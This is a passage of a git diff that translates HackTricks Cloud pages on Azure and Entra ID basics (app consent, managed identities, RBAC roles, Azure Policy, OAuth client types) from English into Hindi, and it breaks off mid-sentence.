सकता है। +5. **Authentication Settings:** ऐप के समर्थित प्रमाणीकरण प्रवाह को परिभाषित करता है (जैसे, OAuth2, OpenID Connect)। +6. **Service Principal**: एक सेवा प्रमुख तब बनाया जाता है जब एक ऐप बनाया जाता है (यदि इसे वेब कंसोल से किया गया हो) या जब इसे एक नए टेनेट में स्थापित किया जाता है। +1. **सेवा प्रमुख** सभी अनुरोधित अनुमतियाँ प्राप्त करेगा जिनके साथ इसे कॉन्फ़िगर किया गया था। ### Default Consent Permissions -**User consent for applications** +**अनुप्रयोगों के लिए उपयोगकर्ता सहमति** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **उपयोगकर्ता सहमति की अनुमति न दें** +- सभी ऐप्स के लिए एक प्रशासक की आवश्यकता होगी। +- **सत्यापित प्रकाशकों से चयनित अनुमतियों के लिए ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति दें (अनुशंसित)** +- सभी उपयोगकर्ता "कम प्रभाव" के रूप में वर्गीकृत अनुमतियों के लिए सहमति दे सकते हैं, सत्यापित प्रकाशकों से ऐप्स के लिए या इस संगठन में पंजीकृत ऐप्स के लिए। +- **डिफ़ॉल्ट** कम प्रभाव वाली अनुमतियाँ (हालांकि आपको उन्हें कम के रूप में जोड़ने के लिए स्वीकार करना होगा): +- User.Read - साइन इन करें और उपयोगकर्ता प्रोफ़ाइल पढ़ें +- offline_access - डेटा तक पहुंच बनाए रखें जिसे उपयोगकर्ताओं ने इसे पहुंच प्रदान की है +- openid - उपयोगकर्ताओं को साइन इन करें +- profile - उपयोगकर्ता की मूल प्रोफ़ाइल देखें +- email - उपयोगकर्ता के ईमेल पते को देखें +- **ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति दें (डिफ़ॉल्ट)** +- सभी उपयोगकर्ता किसी भी ऐप को संगठन के डेटा तक पहुंच के लिए सहमति दे सकते हैं। -**Admin consent requests**: Default **No** +**प्रशासक सहमति अनुरोध**: डिफ़ॉल्ट **नहीं** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- उपयोगकर्ता उन ऐप्स के लिए प्रशासक सहमति का अनुरोध कर सकते हैं जिनके लिए वे सहमति नहीं दे सकते +- यदि **हाँ**: यह संभव है कि उपयोगकर्ताओं, समूहों और भूमिकाओं को निर्दिष्ट किया जाए जो अनुरोधों के लिए सहमति दे सकते हैं +- यह भी कॉन्फ़िगर करें कि क्या उपयोगकर्ताओं को ईमेल सूचनाएँ और समाप्ति अनुस्मारक प्राप्त होंगे ### **Managed Identity (Metadata)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Azure Active Directory में प्रबंधित पहचानें अनुप्रयोगों की पहचान को **स्वचालित रूप से प्रबंधित करने** के लिए एक समाधान प्रदान करती हैं। ये पहचानें अनुप्रयोगों द्वारा Azure Active Directory (**Azure AD**) प्रमाणीकरण के साथ संगत **संसाधनों** से **जोड़ने** के लिए उपयोग की जाती हैं। यह कोड में क्लाउड क्रेडेंशियल्स को हार्डकोड करने की आवश्यकता को **हटाने** की अनुमति देता है क्योंकि अनुप्रयोग **मेटाडेटा** सेवा से संपर्क करके एक मान्य टोकन प्राप्त कर सकेगा ताकि Azure में निर्दिष्ट प्रबंधित पहचान के रूप में **क्रियाएँ** कर सके। -There are two types of managed identities: +प्रबंधित पहचान के दो प्रकार हैं: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **सिस्टम-निर्धारित**। कुछ Azure सेवाएँ आपको **सेवा उदाहरण पर सीधे प्रबंधित पहचान सक्षम करने** की अनुमति देती हैं। जब आप एक सिस्टम-निर्धारित प्रबंधित पहचान सक्षम करते हैं, तो Entra ID टेनेट में एक **सेवा प्रमुख** बनाया जाता है जो उस सब्सक्रिप्शन द्वारा विश्वसनीय होता है जहां संसाधन स्थित है। जब **संसाधन** को **हटाया** जाता है, Azure स्वचालित रूप से आपके लिए **पहचान** को **हटा** देता है। +- **उपयोगकर्ता-निर्धारित**। उपयोगकर्ताओं के लिए प्रबंधित पहचान उत्पन्न करना भी संभव है। ये एक सब्सक्रिप्शन के भीतर एक संसाधन समूह के अंदर बनाई जाती हैं और EntraID द्वारा विश्वसनीय सब्सक्रिप्शन में एक सेवा प्रमुख बनाया जाएगा। फिर, आप प्रबंधित पहचान को Azure सेवा के एक या **अधिक उदाहरणों** (कई संसाधनों) में असाइन कर सकते हैं। उपयोगकर्ता-निर्धारित प्रबंधित पहचान के लिए, **पहचान का प्रबंधन उन संसाधनों से अलग किया जाता है जो इसका उपयोग करते हैं**। -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +प्रबंधित पहचान **स्थायी क्रेडेंशियल्स** (जैसे पासवर्ड या प्रमाणपत्र) उत्पन्न नहीं करती हैं ताकि सेवा प्रमुख से जुड़े इसे एक्सेस किया जा सके। ### Enterprise Applications -It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +यह केवल Azure में सेवा प्रमुखों को फ़िल्टर करने और जांचने के लिए एक **तालिका** है कि कौन से अनुप्रयोगों को असाइन किया गया है। -**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. +**यह "अनुप्रयोग" का एक और प्रकार नहीं है,** Azure में कोई वस्तु "Enterprise Application" नहीं है, यह केवल सेवा प्रमुखों, ऐप पंजीकरणों और प्रबंधित पहचान की जांच करने के लिए एक अमूर्तता है। ### Administrative Units -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +प्रशासनिक इकाइयाँ **एक संगठन के विशिष्ट भाग पर एक भूमिका से अनुमतियाँ देने** की अनुमति देती हैं। -Example: +उदाहरण: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- परिदृश्य: एक कंपनी चाहती है कि क्षेत्रीय IT प्रशासक केवल अपने क्षेत्र के उपयोगकर्ताओं का प्रबंधन करें। +- कार्यान्वयन: +- प्रत्येक क्षेत्र के लिए प्रशासनिक इकाइयाँ बनाएं (जैसे, "उत्तरी अमेरिका AU", "यूरोप AU")। +- अपने संबंधित क्षेत्रों के उपयोगकर्ताओं के साथ AUs को भरें। +- AUs **उपयोगकर्ताओं, समूहों, या उपकरणों** को समाहित कर सकते हैं +- AUs **डायनामिक सदस्यताओं** का समर्थन करते हैं +- AUs **AUs को समाहित नहीं कर सकते** +- प्रशासक भूमिकाएँ असाइन करें: +- क्षेत्रीय IT स्टाफ को "उपयोगकर्ता प्रशासक" भूमिका दें, जो उनके क्षेत्र के AU तक सीमित हो। +- परिणाम: क्षेत्रीय IT प्रशासक अपने क्षेत्र के भीतर उपयोगकर्ता खातों का प्रबंधन कर सकते हैं बिना अन्य क्षेत्रों को प्रभावित किए। ### Entra ID Roles -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role it’s possible to see its **granular permissions** +- Entra ID का प्रबंधन करने के लिए कुछ **निर्मित भूमिकाएँ** हैं जिन्हें Entra ID प्रमुखों को Entra ID का प्रबंधन करने के लिए असाइन किया जा सकता है +- भूमिकाएँ देखें [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) +- सबसे विशेषाधिकार प्राप्त भूमिका **ग्लोबल एडमिनिस्ट्रेटर** है +- भूमिका के विवरण में इसके **सूक्ष्म अनुमतियाँ** देखी जा सकती हैं ## Roles & Permissions -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**भूमिकाएँ** **प्रमुखों** को **स्कोप** पर **असाइन** की जाती हैं: `principal -[HAS ROLE]->(scope)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**भूमिकाएँ** समूहों को असाइन की जाती हैं और समूह के सभी **सदस्यों** द्वारा **विरासत में** प्राप्त की जाती हैं। -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +स्कोप के आधार पर जिस पर भूमिका असाइन की गई थी, **भूमिका** को स्कोप कंटेनर के भीतर **अन्य संसाधनों** पर **विरासत में** मिल सकता है। उदाहरण के लिए, यदि उपयोगकर्ता A के पास **सब्सक्रिप्शन पर एक भूमिका** है, तो उसके पास उस **भूमिका** का अधिकार होगा सभी संसाधन समूहों पर जो सब्सक्रिप्शन के भीतर हैं और **संसाधनों** पर जो संसाधन समूह के भीतर हैं। ### **Classic Roles** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Owner** |
  • सभी संसाधनों तक पूर्ण पहुंच
  • अन्य उपयोगकर्ताओं के लिए पहुंच प्रबंधित कर सकते हैं
| सभी संसाधन प्रकार | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | • View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Contributor** |
  • सभी संसाधनों तक पूर्ण पहुंच
  • पहुंच प्रबंधित नहीं कर सकते
| सभी संसाधन प्रकार | +| **Reader** | • सभी संसाधनों को देखें | सभी संसाधन प्रकार | +| **User Access Administrator** |
  • सभी संसाधनों को देखें
  • अन्य उपयोगकर्ताओं के लिए पहुंच प्रबंधित कर सकते हैं
| सभी संसाधन प्रकार | ### Built-In roles -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) में कई Azure **निर्मित भूमिकाएँ** हैं जिन्हें आप **उपयोगकर्ताओं, समूहों, सेवा प्रमुखों, और प्रबंधित पहचान** को **असाइन** कर सकते हैं। भूमिका असाइनमेंट वह तरीका है जिससे आप **Azure संसाधनों तक पहुंच को नियंत्रित करते हैं**। यदि निर्मित भूमिकाएँ आपकी संगठन की विशिष्ट आवश्यकताओं को पूरा नहीं करती हैं, तो आप अपनी [**Azure कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** बना सकते हैं।** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +**निर्मित** भूमिकाएँ केवल उन **संसाधनों** पर लागू होती हैं जिनके लिए वे **निर्धारित** हैं, उदाहरण के लिए, Compute संसाधनों पर **निर्मित भूमिकाओं** के इन 2 उदाहरणों की जांच करें: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | बैकअप वॉल्ट को डिस्क बैकअप करने की अनुमति प्रदान करता है। | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | पोर्टल में वर्चुअल मशीनों को देखें और एक सामान्य उपयोगकर्ता के रूप में लॉगिन करें। | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +ये भूमिकाएँ **तार्किक कंटेनरों** (जैसे प्रबंधन समूह, सब्सक्रिप्शन और संसाधन समूह) पर भी असाइन की जा सकती हैं और प्रभावित प्रमुखों को **उन कंटेनरों के भीतर संसाधनों पर** अधिकार प्राप्त होंगे। -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- यहाँ [**सभी Azure निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) की एक सूची प्राप्त करें। +- यहाँ [**सभी Entra ID निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) की एक सूची प्राप्त करें। ### Custom Roles -- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- It’s possible to configure all the granular permissions the custom role will have -- It’s possible to exclude permissions - - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere -- It’s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- यह भी संभव है कि [**कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) बनाई जाएँ +- ये एक स्कोप के भीतर बनाई जाती हैं, हालाँकि एक भूमिका कई स्कोप (प्रबंधन समूह, सब्सक्रिप्शन और संसाधन समूह) में हो सकती है +- यह संभव है कि कस्टम भूमिका के पास सभी सूक्ष्म अनुमतियों को कॉन्फ़िगर किया जाए +- यह अनुमतियों को बाहर करने की भी अनुमति देता है +- एक प्रमुख जिसके पास एक बाहर की गई अनुमति है, वह इसे उपयोग नहीं कर सकेगा भले ही अनुमति कहीं और दी जा रही हो +- यह वाइल्डकार्ड का उपयोग करने की अनुमति देता है +- उपयोग किया गया प्रारूप JSON है +- `actions` संसाधन पर नियंत्रण क्रियाओं के लिए हैं +- `dataActions` वस्तु के भीतर डेटा पर अनुमतियाँ हैं +कस्टम भूमिका के लिए अनुमतियों का JSON का उदाहरण: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` - ### Permissions order -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- एक **principal को किसी resource पर कुछ access प्राप्त करने के लिए** उसे एक स्पष्ट भूमिका दी जानी चाहिए (किसी भी तरह से) **उसे वह अनुमति देने के लिए**। +- एक स्पष्ट **deny role assignment की प्राथमिकता होती है** उस भूमिका पर जो अनुमति देती है।

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Global Administrator -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +Global Administrator एक भूमिका है Entra ID से जो **Entra ID tenant पर पूर्ण नियंत्रण प्रदान करती है**। हालाँकि, यह डिफ़ॉल्ट रूप से Azure resources पर कोई अनुमति नहीं देती है। -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Global Administrator भूमिका वाले उपयोगकर्ताओं के पास '**User Access Administrator Azure भूमिका में Root Management Group में 'elevate' करने की क्षमता है**। इसलिए Global Administrators **सभी Azure subscriptions और management groups में access प्रबंधित कर सकते हैं।**\ +यह elevation पृष्ठ के अंत में किया जा सकता है: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Azure Policies -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Azure Policies** नियम हैं जो संगठनों को यह सुनिश्चित करने में मदद करते हैं कि उनके resources विशिष्ट मानकों और अनुपालन आवश्यकताओं को पूरा करते हैं। वे आपको **Azure में resources पर सेटिंग्स को लागू या ऑडिट करने** की अनुमति देते हैं। उदाहरण के लिए, आप अनधिकृत क्षेत्र में वर्चुअल मशीनों के निर्माण को रोक सकते हैं या सुनिश्चित कर सकते हैं कि सभी resources के पास ट्रैकिंग के लिए विशिष्ट टैग हैं। -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +Azure Policies **proactive** हैं: वे अनुपालन न करने वाले resources के निर्माण या परिवर्तन को रोक सकती हैं। वे **reactive** भी हैं, जिससे आप मौजूदा अनुपालन न करने वाले resources को खोज और ठीक कर सकते हैं। #### **Key Concepts** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Policy Definition**: एक नियम, जो JSON में लिखा गया है, जो यह निर्दिष्ट करता है कि क्या अनुमति है या आवश्यक है। +2. **Policy Assignment**: एक नीति को एक विशिष्ट दायरे (जैसे, subscription, resource group) पर लागू करना। +3. **Initiatives**: नीतियों का एक संग्रह जो व्यापक प्रवर्तन के लिए एक साथ समूहित किया गया है। +4. **Effect**: यह निर्दिष्ट करता है कि नीति सक्रिय होने पर क्या होता है (जैसे, "Deny," "Audit," या "Append")। -**Some examples:** +**कुछ उदाहरण:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **विशिष्ट Azure क्षेत्रों के साथ अनुपालन सुनिश्चित करना**: यह नीति सुनिश्चित करती है कि सभी resources विशिष्ट Azure क्षेत्रों में तैनात हैं। उदाहरण के लिए, एक कंपनी यह सुनिश्चित करना चाह सकती है कि उसका सारा डेटा GDPR अनुपालन के लिए यूरोप में संग्रहीत हो। +2. **नामकरण मानकों को लागू करना**: नीतियाँ Azure resources के लिए नामकरण मानकों को लागू कर सकती हैं। यह बड़े वातावरण में resources को व्यवस्थित करने और उनके नामों के आधार पर आसानी से पहचानने में मदद करता है। +3. **कुछ resource प्रकारों को प्रतिबंधित करना**: यह नीति कुछ प्रकार के resources के निर्माण को प्रतिबंधित कर सकती है। उदाहरण के लिए, एक नीति को महंगे resource प्रकारों, जैसे कुछ VM आकारों, के निर्माण को रोकने के लिए सेट किया जा सकता है, ताकि लागत को नियंत्रित किया जा सके। +4. **टैगिंग नीतियों को लागू करना**: टैग Azure resources के साथ जुड़े कुंजी-मूल्य जोड़े होते हैं जो resource प्रबंधन के लिए उपयोग किए जाते हैं। नीतियाँ यह लागू कर सकती हैं कि सभी resources के लिए कुछ टैग मौजूद होने चाहिए, या उनके पास विशिष्ट मान होने चाहिए। यह लागत ट्रैकिंग, स्वामित्व, या resources की श्रेणीकरण के लिए उपयोगी है। +5. **resources के लिए सार्वजनिक पहुंच को सीमित करना**: नीतियाँ यह लागू कर सकती हैं कि कुछ resources, जैसे स्टोरेज खाते या डेटाबेस, के पास सार्वजनिक endpoints नहीं होने चाहिए, यह सुनिश्चित करते हुए कि वे केवल संगठन के नेटवर्क के भीतर ही सुलभ हैं। +6. **स्वचालित रूप से सुरक्षा सेटिंग्स लागू करना**: नीतियों का उपयोग resources पर सुरक्षा सेटिंग्स को स्वचालित रूप से लागू करने के लिए किया जा सकता है, जैसे सभी VMs पर एक विशिष्ट नेटवर्क सुरक्षा समूह लागू करना या यह सुनिश्चित करना कि सभी स्टोरेज खाते एन्क्रिप्शन का उपयोग करें। -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. +ध्यान दें कि Azure Policies को Azure की किसी भी स्तर पर जोड़ा जा सकता है, लेकिन वे **आमतौर पर root management group** या अन्य management groups में उपयोग की जाती हैं। Azure policy json example: - ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` - ### Permissions Inheritance In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..dae93dd42 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,98 +4,97 @@ ## Basic Information -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +Entra ID माइक्रोसॉफ्ट का क्लाउड-आधारित पहचान और पहुंच प्रबंधन (IAM) प्लेटफ़ॉर्म है, जो Microsoft 365 और Azure Resource Manager जैसी सेवाओं के लिए मौलिक प्रमाणीकरण और प्राधिकरण प्रणाली के रूप में कार्य करता है। Azure AD OAuth 2.0 प्राधिकरण ढांचे और OpenID Connect (OIDC) प्रमाणीकरण प्रोटोकॉल को संसाधनों तक पहुंच प्रबंधित करने के लिए लागू करता है। ### OAuth -**Key Participants in OAuth 2.0:** +**OAuth 2.0 में प्रमुख प्रतिभागी:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Resource Server (RS):** संसाधनों की रक्षा करता है जो संसाधन मालिक के पास हैं। +2. **Resource Owner (RO):** आमतौर पर एक अंतिम उपयोगकर्ता जो संरक्षित संसाधनों का मालिक होता है। +3. **Client Application (CA):** एक एप्लिकेशन जो संसाधन मालिक की ओर से संसाधनों तक पहुंच प्राप्त करने का प्रयास करता है। +4. **Authorization Server (AS):** प्रमाणीकरण और प्राधिकरण के बाद क्लाइंट एप्लिकेशनों को एक्सेस टोकन जारी करता है। -**Scopes and Consent:** +**Scopes और Consent:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Scopes:** संसाधन सर्वर पर परिभाषित सूक्ष्म अनुमतियाँ जो पहुँच स्तर निर्दिष्ट करती हैं। +- **Consent:** वह प्रक्रिया जिसके द्वारा एक संसाधन मालिक एक क्लाइंट एप्लिकेशन को विशिष्ट स्कोप के साथ संसाधनों तक पहुँच प्राप्त करने की अनुमति देता है। **Microsoft 365 Integration:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- Microsoft 365 IAM के लिए Azure AD का उपयोग करता है और इसमें कई "पहली-पार्टी" OAuth एप्लिकेशन शामिल हैं। +- ये एप्लिकेशन गहराई से एकीकृत होते हैं और अक्सर आपस में निर्भर सेवा संबंध होते हैं। +- उपयोगकर्ता अनुभव को सरल बनाने और कार्यक्षमता बनाए रखने के लिए, माइक्रोसॉफ्ट इन पहली-पार्टी एप्लिकेशनों को "अर्थित सहमति" या "पूर्व-सहमति" प्रदान करता है। +- **Implied Consent:** कुछ एप्लिकेशनों को बिना स्पष्ट उपयोगकर्ता या प्रशासक अनुमोदन के विशिष्ट स्कोप तक पहुँच **स्वतः प्रदान की जाती है**। +- ये पूर्व-सहमति वाले स्कोप आमतौर पर उपयोगकर्ताओं और प्रशासकों दोनों से छिपे होते हैं, जिससे वे मानक प्रबंधन इंटरफेस में कम दिखाई देते हैं। **Client Application Types:** 1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. +- अपने स्वयं के क्रेडेंशियल्स (जैसे, पासवर्ड या प्रमाणपत्र) रखते हैं। +- प्राधिकरण सर्वर के लिए **सुरक्षित रूप से प्रमाणीकरण** कर सकते हैं। 2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +- अद्वितीय क्रेडेंशियल्स नहीं होते हैं। +- प्राधिकरण सर्वर के लिए सुरक्षित रूप से प्रमाणीकरण नहीं कर सकते हैं। +- **Security Implication:** एक हमलावर टोकन मांगते समय एक सार्वजनिक क्लाइंट एप्लिकेशन 